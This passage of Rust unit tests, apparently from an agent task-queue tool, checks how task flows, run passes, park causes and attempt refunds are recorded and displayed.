15739 edit(&mut s);
15740 s
15741 }
15742
15743 fn flow_task(runs: &[&str]) -> Task {
15744 let mut t = Task::new(
15745 "t".to_owned(),
15746 "Do it".to_owned(),
15747 PathBuf::from("/repo/magi"),
15748 Source::Human,
15749 );
15750 for r in runs {
15751 t.start((*r).to_owned());
15752 }
15753 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15755 t
15756 }
15757
15758 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15759 let h = task_history(task, |id| {
15760 states
15761 .iter()
15762 .find(|(i, _)| *i == id)
15763 .and_then(|(_, s)| s.clone())
15764 });
15765 task_flow(task, &h, 5, None)
15766 }
15767
15768 #[test]
15769 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15770 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15771 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15772 let first = "2026-10-10T02:00:00Z".parse().unwrap();
15773 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15774 let held = "2026-10-10T04:00:00Z".parse().unwrap();
15775 let run = flow_run(RunStatus::Implementing, |s| {
15776 s.created_at = created;
15777 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15778 s.passes[0].started_at = first;
15779 s.passes[1].started_at = resumed;
15780 });
15781 let mut task = flow_task(&[RUN_X, RUN_X]);
15782 task.created_at = queued;
15783 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15784 task.status = TaskStatus::Held;
15785 task.held_at = Some(held);
15786 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15787 assert_eq!(
15788 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15789 vec![Some(queued), Some(first), Some(resumed), Some(held)]
15790 );
15791 assert!(flow.nodes.iter().all(|n| n.time_expected));
15792 let json = serde_json::to_value(&flow).unwrap();
15793 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15794 assert_eq!(json["nodes"][2]["time_expected"], true);
15795 }
15796
15797 #[test]
15798 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15799 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15800 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15801 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15802 task.held_at = Some(created);
15804 task.blocked_at = Some(created);
15805 for status in [
15806 TaskStatus::Queued,
15807 TaskStatus::Running,
15808 TaskStatus::Blocked,
15809 TaskStatus::Done,
15810 TaskStatus::Failed,
15811 TaskStatus::Parked,
15812 TaskStatus::Held,
15813 ] {
15814 task.status = status;
15815 if status == TaskStatus::Held {
15816 task.held_at = None;
15817 }
15818 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15819 assert_eq!(flow.nodes[1].started_at, Some(created));
15820 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15821 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15822 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15823 let json = serde_json::to_value(&flow).unwrap();
15824 assert!(json["nodes"][3]["started_at"].is_null());
15825 assert_eq!(json["nodes"][3]["time_expected"], true);
15826 }
15827 }
15828
15829 #[test]
15830 fn flow_context_links_do_not_expect_start_times() {
15831 let mut task = flow_task(&[]);
15832 task.source = Source::Agent {
15833 run: "chat-id".to_owned(),
15834 node: "chat".to_owned(),
15835 };
15836 let origin = followup_origin(&fu(None), |_| None, |_| None);
15837 let flow = task_flow(&task, &[], 5, Some(&origin));
15838 for node in &flow.nodes[..2] {
15839 assert!(!node.time_expected);
15840 assert_eq!(node.started_at, None);
15841 }
15842 assert!(flow.nodes[2].time_expected);
15843 }
15844
15845 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15846 crate::queue::FollowUp {
15847 run: "20260901-000000-aaaa".to_owned(),
15848 origin_task: origin_task.map(str::to_owned),
15849 pr: "https://example.com/o/r/pull/1".to_owned(),
15850 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15851 .map(str::to_owned)
15852 .to_vec(),
15853 generation: 1,
15854 }
15855 }
15856
15857 fn parent_task() -> Task {
15858 let mut p = flow_task(&[]);
15859 p.title = "Parent title".to_owned();
15860 p.status = TaskStatus::Done;
15861 p
15862 }
15863
15864 #[test]
15865 fn flow_opens_with_the_parent_task_of_a_followup() {
15866 let p = parent_task();
15867 let pid = p.id.clone();
15868 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15869 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15870 let n = &f.nodes[0];
15871 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15872 assert_eq!(
15873 n.label,
15874 format!("Follow-up of {}", crate::queue::short(&pid))
15875 );
15876 assert_eq!(n.detail.as_deref(), Some("Parent title"));
15877 assert_eq!(n.status, Some("done"));
15878 assert_eq!(n.status_of, "task");
15879 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15880 assert_eq!(f.nodes[1].key, "start");
15881 assert_eq!(f.edges[0].from, "origin");
15882 assert_eq!(
15883 f.edges[0].label,
15884 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15885 );
15886 }
15887
15888 #[test]
15889 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15890 let o = followup_origin(
15891 &fu(Some("gone")),
15892 |_| None,
15893 |_| {
15894 Some(RunState::new(
15895 std::path::PathBuf::from("."),
15896 "main".to_owned(),
15897 "0".to_owned(),
15898 "t".to_owned(),
15899 crate::config::Config::default(),
15900 ))
15901 },
15902 );
15903 assert!(o.parent.is_none());
15904 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15905 let n = &f.nodes[0];
15906 assert_eq!(n.status_of, "run");
15907 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15908 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15909 }
15910
15911 #[test]
15912 fn flow_followup_with_nothing_readable_has_no_link() {
15913 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15914 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15915 let n = &f.nodes[0];
15916 assert_eq!(n.href, None);
15917 assert_eq!(n.note, Some("unreadable"));
15918 assert!(!n.readable);
15919 }
15920
15921 #[test]
15922 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15923 let o = followup_origin(&fu(None), |_| None, |_| None);
15924 let mut t = flow_task(&[]);
15925 t.origin_chat = Some("c1".to_owned());
15926 let f = task_flow(&t, &[], 5, Some(&o));
15927 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15928 t.source = Source::Agent {
15929 run: "c1".to_owned(),
15930 node: crate::queue::CHAT_NODE.to_owned(),
15931 };
15932 let f = task_flow(&t, &[], 5, Some(&o));
15933 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15934 assert_eq!(
15935 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15936 ("chat", "origin")
15937 );
15938 }
15939
15940 #[test]
15941 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15942 let mut p = parent_task();
15943 p.id = "a b/c".to_owned();
15944 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15945 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15946 }
15947
15948 #[test]
15949 fn flow_opens_with_the_chat_that_queued_the_task() {
15950 let mut t = flow_task(&[]);
15951 t.source = Source::Agent {
15952 run: "a b/c".to_owned(),
15953 node: crate::queue::CHAT_NODE.to_owned(),
15954 };
15955 let f = flow_for(&t, &[]);
15956 assert_eq!(f.nodes[0].key, "chat");
15957 assert_eq!(f.nodes[0].kind, "chat");
15958 assert_eq!(
15959 f.nodes[0].label,
15960 format!("Chat {}", crate::queue::short("a b/c"))
15961 );
15962 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15963 assert_eq!(f.nodes[1].key, "start");
15964 assert_eq!(
15965 f.edges[0],
15966 FlowEdge {
15967 from: "chat".to_owned(),
15968 to: "start".to_owned(),
15969 label: "queued from chat".to_owned(),
15970 attempt: AttemptCost::None,
15971 }
15972 );
15973 }
15974
15975 #[test]
15976 fn flow_has_no_chat_box_for_other_sources() {
15977 for source in [
15978 Source::Human,
15979 Source::Issue {
15980 number: 3,
15981 repo: "o/r".to_owned(),
15982 },
15983 Source::Agent {
15984 run: "20260904-014455-ab12".to_owned(),
15985 node: "implement".to_owned(),
15986 },
15987 ] {
15988 let mut t = flow_task(&[]);
15989 t.source = source;
15990 let f = flow_for(&t, &[]);
15991 assert_eq!(f.nodes[0].key, "start");
15992 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15993 assert!(f.edges.iter().all(|e| e.from != "chat"));
15994 }
15995 }
15996
15997 const FA: &str = "20260902-140501-aaaa";
15998 const FB: &str = "20260902-140502-bbbb";
15999
16000 #[test]
16001 fn flow_follows_blocked_retry_merged_to_done() {
16002 let mut t = flow_task(&[FA, FB]);
16003 t.status = TaskStatus::Done;
16004 let f = flow_for(
16005 &t,
16006 &[
16007 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16008 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16009 ],
16010 );
16011 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16012 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16013 assert_eq!(f.edges.len(), 3);
16014 assert_eq!(f.edges[0].label, "claimed");
16015 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16016 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16017 assert_eq!(f.edges[2].label, "merged \u{2192} done");
16018 assert_eq!(
16019 f.nodes[2].href.as_deref(),
16020 Some("#/runs/20260902-140502-bbbb")
16021 );
16022 assert!(f.nodes[2].decided);
16023 }
16024
16025 #[test]
16026 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16027 let quota = || {
16028 flow_run(RunStatus::Stalled, |s| {
16029 s.quota.push(crate::run::QuotaLoss {
16030 seat: "judge-1".to_owned(),
16031 node: "judge".to_owned(),
16032 at: Timestamp::now(),
16033 reset: None,
16034 })
16035 })
16036 };
16037 let mut t = flow_task(&[FA, FA]);
16038 t.status = TaskStatus::Queued;
16039 let f = flow_for(&t, &[(FA, Some(quota()))]);
16040 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16041 assert_eq!(f.nodes[1].note, Some("interrupted"));
16042 assert_eq!(
16043 f.nodes[1].status, None,
16044 "no outcome copied onto an earlier pass"
16045 );
16046 assert_eq!(
16047 f.edges[1].attempt,
16048 AttemptCost::Unknown,
16049 "a resume does not prove the earlier pass was refunded"
16050 );
16051 assert!(f.edges[1].label.contains("resume the same run"));
16052 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16053 assert_eq!(
16054 f.edges[2].label,
16055 "stalled after a resume, refund unknown \u{2192} queued"
16056 );
16057 assert!(!f.nodes[2].decided, "a stall is not a decision");
16058 assert_eq!(f.nodes[2].note, Some("no verdict"));
16059 }
16060
16061 #[test]
16062 fn flow_single_pass_quota_stall_is_refunded() {
16063 let t = flow_task(&[FA]);
16064 let f = flow_for(
16065 &t,
16066 &[(
16067 FA,
16068 Some(flow_run(RunStatus::Stalled, |s| {
16069 s.quota.push(crate::run::QuotaLoss {
16070 seat: "judge-1".to_owned(),
16071 node: "judge".to_owned(),
16072 at: Timestamp::now(),
16073 reset: None,
16074 })
16075 })),
16076 )],
16077 );
16078 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16079 }
16080
16081 #[test]
16082 fn flow_parked_refunds_and_stall_without_quota_spends() {
16083 let mut t = flow_task(&[FA]);
16084 t.status = TaskStatus::Queued;
16085 let f = flow_for(
16086 &t,
16087 &[(
16088 FA,
16089 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16090 )],
16091 );
16092 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16093 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16094 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16095 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16096 assert!(!f.nodes[1].decided);
16097 }
16098
16099 #[test]
16100 fn flow_keeps_an_unreadable_run_as_its_own_node() {
16101 let t = flow_task(&[FA, FB]);
16102 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16103 assert_eq!(f.nodes[1].note, Some("unreadable"));
16104 assert!(!f.nodes[1].readable);
16105 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16106 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16107 }
16108
16109 #[test]
16110 fn flow_names_the_branch_of_a_review_only_run() {
16111 let t = flow_task(&[FA]);
16112 let f = flow_for(
16113 &t,
16114 &[(
16115 FA,
16116 Some(flow_run(RunStatus::Merged, |s| {
16117 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16118 })),
16119 )],
16120 );
16121 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16122 assert_eq!(
16123 f.nodes[1].detail.as_deref(),
16124 Some("review-only run of branch magi/x/A")
16125 );
16126 }
16127
16128 #[test]
16129 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16130 let mut t = flow_task(&[FA]);
16131 t.status = TaskStatus::Held;
16132 let pr = crate::run::PrRecord {
16133 url: "https://example.test/pr/1".to_owned(),
16134 number: 1,
16135 state: "open".to_owned(),
16136 checks: "green".to_owned(),
16137 round: 0,
16138 rounds: 3,
16139 red_at_merge: Vec::new(),
16140 };
16141 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16142 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16143 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16144 t.status = TaskStatus::Done;
16145 let f = flow_for(&t, &[(FA, Some(blocked))]);
16146 assert_eq!(f.edges[1].label, "closed by hand: task is done");
16147 }
16148
16149 #[test]
16150 fn flow_with_no_runs_goes_from_queued_to_queued() {
16151 let t = flow_task(&[]);
16152 let f = flow_for(&t, &[]);
16153 assert_eq!(f.nodes.len(), 2);
16154 assert_eq!(f.edges.len(), 1);
16155 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16156 assert_eq!(f.edges[0].attempt, AttemptCost::None);
16157 }
16158
16159 #[test]
16162 fn a_parked_non_terminal_run_is_explained_as_parked() {
16163 let mut s = RunState::new(
16164 PathBuf::from("/repo/magi"),
16165 "main".to_owned(),
16166 "0123456789abcdef".to_owned(),
16167 "Do it".to_owned(),
16168 Config::default(),
16169 );
16170 s.status = RunStatus::Implementing;
16171 s.parked = true;
16172 let task = Task::new(
16173 "t".to_owned(),
16174 "Do it".to_owned(),
16175 PathBuf::from("/repo/magi"),
16176 Source::Human,
16177 );
16178 let v = task_run_view(
16179 "20260902-140501-aaaa",
16180 Some(&s),
16181 RunSlot {
16182 n: 1,
16183 resumed: false,
16184 resumed_later: None,
16185 prior: None,
16186 last: true,
16187 ..RunSlot::default()
16188 },
16189 &task,
16190 );
16191 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16192 }
16193
16194 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16195 let mut s = flow_run(RunStatus::Implementing, edit);
16196 s.parked = false;
16197 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16198 task_run_view(
16199 "20260902-140501-aaaa",
16200 Some(&s),
16201 RunSlot {
16202 n: 1,
16203 resumed: false,
16204 resumed_later: Some(2),
16205 prior: None,
16206 last: false,
16207 ..RunSlot::default()
16208 },
16209 &task,
16210 )
16211 }
16212
16213 #[test]
16214 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16215 let v = earlier_pass_view(|_| {});
16216 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16217 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16218 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16219 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16220 assert_eq!(v.exit, RunExit::Interrupted);
16221 assert_eq!(v.attempt, AttemptCost::Unknown);
16222 }
16223
16224 #[test]
16225 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16226 let v = earlier_pass_view(|s| {
16227 s.quota.push(crate::run::QuotaLoss {
16228 seat: "judge-1".to_owned(),
16229 node: "judge".to_owned(),
16230 at: Timestamp::now(),
16231 reset: None,
16232 });
16233 });
16234 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16235 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16236 assert_eq!(v.attempt, AttemptCost::Unknown);
16237 }
16238
16239 #[test]
16240 fn the_current_pass_states_its_recorded_cause_and_cost() {
16241 let slot = || RunSlot {
16242 n: 1,
16243 resumed: false,
16244 resumed_later: None,
16245 prior: None,
16246 last: true,
16247 ..RunSlot::default()
16248 };
16249 let task = flow_task(&["20260902-140501-aaaa"]);
16250 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16251 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16252 assert_eq!(
16253 (v.exit, v.attempt),
16254 (RunExit::Parked, AttemptCost::Refunded)
16255 );
16256 let spent = flow_run(RunStatus::Blocked, |_| {});
16257 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16258 assert_eq!(v.attempt, AttemptCost::Spent);
16259 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16260 }
16261
16262 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16263 crate::run::RunPass {
16264 index,
16265 started_at: Timestamp::now(),
16266 resumed: index > 0,
16267 ended_at: end.as_ref().map(|_| Timestamp::now()),
16268 end,
16269 task_entry: true,
16270 }
16271 }
16272
16273 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16274 Some(crate::run::PassEnd::Parked { cause })
16275 }
16276
16277 fn upgrade_cause() -> crate::run::ParkCause {
16278 crate::run::ParkCause::Upgrade {
16279 from: "0.121.0".to_owned(),
16280 to: Some("0.121.1".to_owned()),
16281 }
16282 }
16283
16284 fn settled_pass(
16285 run: &str,
16286 index: usize,
16287 cost: crate::queue::PassCost,
16288 ) -> crate::queue::TaskPass {
16289 crate::queue::TaskPass {
16290 run: run.to_owned(),
16291 pass_index: index,
16292 started_at: None,
16293 cost,
16294 attempts_after: 1,
16295 settled_at: Timestamp::now(),
16296 parked: None,
16297 }
16298 }
16299
16300 const RUN_X: &str = "20261011-223708-4334";
16301
16302 #[test]
16303 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16304 use crate::queue::PassCost;
16305 let run = flow_run(RunStatus::Implementing, |s| {
16306 s.passes = vec![
16307 recorded_pass(0, parked(upgrade_cause())),
16308 recorded_pass(1, None),
16309 ];
16310 });
16311 let mut task = flow_task(&[RUN_X, RUN_X]);
16312 task.attempts = 1;
16313 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16314 let h = task_history(&task, |_| Some(run.clone()));
16315 assert_eq!(h.len(), 2);
16316 assert_eq!(h[0].kind, "competition");
16317 assert_eq!(h[1].kind, "resume");
16318 assert_eq!(
16319 (h[0].exit, h[0].attempt),
16320 (RunExit::Parked, AttemptCost::Refunded)
16321 );
16322 assert!(
16323 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16324 "{}",
16325 h[0].outcome
16326 );
16327 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16328 assert!(
16329 h[0].outcome.contains("pass #2 resumed the same run"),
16330 "{}",
16331 h[0].outcome
16332 );
16333 assert!(
16334 h[0].outcome.contains("pass 1 of 2 over run"),
16335 "{}",
16336 h[0].outcome
16337 );
16338 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16339 assert_eq!(
16340 h[0].exit_label,
16341 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16342 );
16343 let f = task_flow(&task, &h, 2, None);
16344 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16346 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16347 assert!(
16348 f.edges[1].label.contains("upgrade 0.121.0"),
16349 "{}",
16350 f.edges[1].label
16351 );
16352 assert!(
16353 f.edges[1].label.contains("resume the same run"),
16354 "{}",
16355 f.edges[1].label
16356 );
16357 assert_eq!(f.nodes[1].note, Some("parked"));
16358 }
16359
16360 #[test]
16361 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16362 let mut a = flow_run(RunStatus::Implementing, |s| {
16363 s.passes = vec![
16364 recorded_pass(0, parked(upgrade_cause())),
16365 recorded_pass(1, None),
16366 ];
16367 });
16368 let mut b = flow_run(RunStatus::Failed, |s| {
16369 s.passes = vec![recorded_pass(0, None)];
16370 });
16371 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16372 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16373 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16374 let mut task = flow_task(&[]);
16375 task.start("a".into());
16376 task.start("b".into());
16377 task.start("a".into());
16378 assert_eq!(task.runs, ["b", "a"]);
16379 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16380 let h = task_history(&task, |id| {
16381 Some(if id == "a" { a.clone() } else { b.clone() })
16382 });
16383 assert_eq!(
16384 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16385 ["a", "b", "a"]
16386 );
16387 assert_eq!(h[0].attempt, AttemptCost::Refunded);
16388 assert!(h[0].outcome.contains("upgrade"));
16389 assert_eq!(h[2].kind, "resume");
16390 assert!(h[2].pass.is_some());
16391 task.runs = vec!["a".into(), "b".into(), "a".into()];
16393 let old = task_history(&task, |id| {
16394 Some(if id == "a" { a.clone() } else { b.clone() })
16395 });
16396 assert_eq!(
16397 old.iter()
16398 .map(|v| (&v.id, &v.kind, v.attempt))
16399 .collect::<Vec<_>>(),
16400 h.iter()
16401 .map(|v| (&v.id, &v.kind, v.attempt))
16402 .collect::<Vec<_>>()
16403 );
16404 }
16405
16406 #[test]
16407 fn an_upgrade_whose_target_was_not_known_says_so() {
16408 let run = flow_run(RunStatus::Implementing, |s| {
16409 s.passes = vec![
16410 recorded_pass(
16411 0,
16412 parked(crate::run::ParkCause::Upgrade {
16413 from: "0.121.0".to_owned(),
16414 to: None,
16415 }),
16416 ),
16417 recorded_pass(1, None),
16418 ];
16419 });
16420 let task = flow_task(&[RUN_X, RUN_X]);
16421 let h = task_history(&task, |_| Some(run.clone()));
16422 assert!(
16423 h[0].outcome.contains("upgrade from 0.121.0"),
16424 "{}",
16425 h[0].outcome
16426 );
16427 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16429 }
16430
16431 #[test]
16432 fn each_pass_keeps_its_own_cause_across_several_resumes() {
16433 use crate::queue::PassCost;
16434 use crate::run::ParkCause;
16435 let run = flow_run(RunStatus::Implementing, |s| {
16436 s.passes = vec![
16437 recorded_pass(0, parked(upgrade_cause())),
16438 recorded_pass(
16439 1,
16440 parked(ParkCause::Interrupt {
16441 reason: "task a1b2 asked to run first".to_owned(),
16442 }),
16443 ),
16444 recorded_pass(2, parked(ParkCause::Operator)),
16445 recorded_pass(3, None),
16446 ];
16447 });
16448 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16449 task.attempts = 1;
16450 task.passes = (0..3)
16451 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16452 .collect();
16453 let h = task_history(&task, |_| Some(run.clone()));
16454 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16455 assert!(
16456 h[1].outcome.contains("task a1b2 asked to run first"),
16457 "{}",
16458 h[1].outcome
16459 );
16460 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16461 assert!(
16462 h[2].outcome.contains("operator asked the loop to park"),
16463 "{}",
16464 h[2].outcome
16465 );
16466 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16467 let f = task_flow(&task, &h, 2, None);
16468 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16469 }
16470
16471 #[test]
16472 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16473 let run = flow_run(RunStatus::Implementing, |s| {
16474 s.passes = vec![
16475 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16476 recorded_pass(1, None),
16477 ];
16478 });
16479 let task = flow_task(&[RUN_X, RUN_X]);
16480 let h = task_history(&task, |_| Some(run.clone()));
16481 assert_eq!(h[0].exit, RunExit::Interrupted);
16482 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16483 assert!(
16484 h[0].outcome.contains("without recording why"),
16485 "{}",
16486 h[0].outcome
16487 );
16488 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16489 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16490 }
16491
16492 #[test]
16493 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16494 use crate::queue::PassCost;
16495 let run = flow_run(RunStatus::Implementing, |s| {
16498 s.passes = vec![
16499 recorded_pass(0, parked(upgrade_cause())),
16500 recorded_pass(1, None),
16501 ];
16502 });
16503 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16504 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16505 let h = task_history(&task, |_| Some(run.clone()));
16506 assert!(h[0].pass.is_none());
16507 assert_eq!(h[0].exit, RunExit::Interrupted);
16508 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16509 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16510 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16511 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16512 let legacy = flow_run(RunStatus::Implementing, |_| {});
16514 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16515 assert!(h.iter().all(|v| v.pass.is_none()));
16516 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16517 }
16518
16519 #[test]
16520 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16521 use crate::queue::PassCost;
16522 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16525 web.task_entry = false;
16526 let run = flow_run(RunStatus::Implementing, |s| {
16527 s.passes = vec![
16528 recorded_pass(0, parked(upgrade_cause())),
16529 web.clone(),
16530 recorded_pass(2, None),
16531 ];
16532 });
16533 let mut task = flow_task(&[RUN_X, RUN_X]);
16534 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16535 let h = task_history(&task, |_| Some(run.clone()));
16536 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16537 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16538
16539 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16542 web0.task_entry = false;
16543 let run = flow_run(RunStatus::Implementing, |s| {
16544 s.passes = vec![web0.clone(), recorded_pass(1, None)];
16545 });
16546 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16547 assert!(h[0].pass.is_none());
16548 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16549 assert!(h[1].pass.is_some());
16550 }
16551
16552 #[tokio::test]
16553 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16554 let dir = tempfile::tempdir().unwrap();
16555 let queue = Queue::at(dir.path().join("queue"));
16556 let ui = Arc::new(Ui::new(
16557 queue.clone(),
16558 Questions::at(dir.path().join("questions")),
16559 Talks::at(dir.path().join("talks")),
16560 dir.path().join("runs"),
16561 dir.path().to_path_buf(),
16562 dir.path().to_path_buf(),
16563 ));
16564 let mut t = Task::new(
16565 "recover".into(),
16566 "Inspect".into(),
16567 PathBuf::from("."),
16568 Source::Human,
16569 );
16570 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16571 t.start("run-A".into());
16572 t.release_operator("choice", Some("resume-question"));
16573 t.resume_override = Some(crate::queue::OperatorResume {
16574 question_id: "resume-question".into(),
16575 at: jiff::Timestamp::now(),
16576 conductor_rehold: None,
16577 forced: true,
16578 pinned_run: Some("run-A".into()),
16579 });
16580 t.hold_machine(Some("inspection pending".into()));
16581 t.edit("recover".into(), "Reuse approved PR head".into())
16582 .unwrap();
16583 queue.put(&mut t).unwrap();
16584 let mut cli = t.clone();
16585 cli.release_operator("cli", None);
16586 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16587 let reloaded = queue.get(&t.id).unwrap();
16588 assert_eq!(reply.task.status, TaskStatus::Queued);
16589 assert!(reloaded.resume_override.is_none());
16590 assert_eq!(reloaded.answers, t.answers);
16591 let mut web = reloaded.resumption.unwrap();
16592 let cli = cli.resumption.unwrap();
16593 assert_eq!(web.source, "web");
16594 web.source = cli.source.clone();
16595 web.at = cli.at;
16596 assert_eq!(web, cli);
16597 }
16598
16599 #[tokio::test]
16600 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16601 let f = Fixture::start().await;
16602 let queue = f.queue();
16603 let mut task = Task::new(
16604 "spent".to_owned(),
16605 "Try again".to_owned(),
16606 PathBuf::from("/repo/magi"),
16607 Source::Human,
